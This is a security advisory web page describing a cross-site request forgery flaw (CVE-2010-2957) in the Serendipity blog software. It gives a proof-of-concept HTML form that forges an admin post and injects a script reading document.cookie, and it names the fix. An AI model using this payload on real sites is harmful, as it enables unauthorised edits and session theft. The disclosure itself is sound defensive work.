High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Request Forgery (CSRF) in Serendipity

Advisory ID:HTB22595
Vendor:Serendipity Team
Vulnerable Versions:1.5.3 and probably prior
Tested Version:1.5.3
Advisory Publication:August 26, 2010 [without technical details]
Vendor Notification:August 26, 2010
Public Disclosure:September 9, 2010
Latest Update:August 27, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-2957
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Serendipity which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Serendipity: CVE-2010-2957

The vulnerability exists due to insufficient validation of the request origin in serendipity_admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim uses "Remember me" feature in the Serendipity backend to login.

Exploitation example:

<form action="http://host/serendipity_admin.php?" method="post" name="main" >

<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />


Upgrade to version 1.5.4.

For more information see:

ImmuniWeb® by High-Tech Bridge

[1] High-Tech Bridge Advisory HTB22595 - https://www.htbridge.com/advisory/HTB22595 - Cross-site Request Forgery (CSRF) in Serendipity
[2] Serendipity - s9y.org - Serendipity is a PHP-powered weblog application which gives the user an easy way to maintain an online diary, weblog or even a complete homepage.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.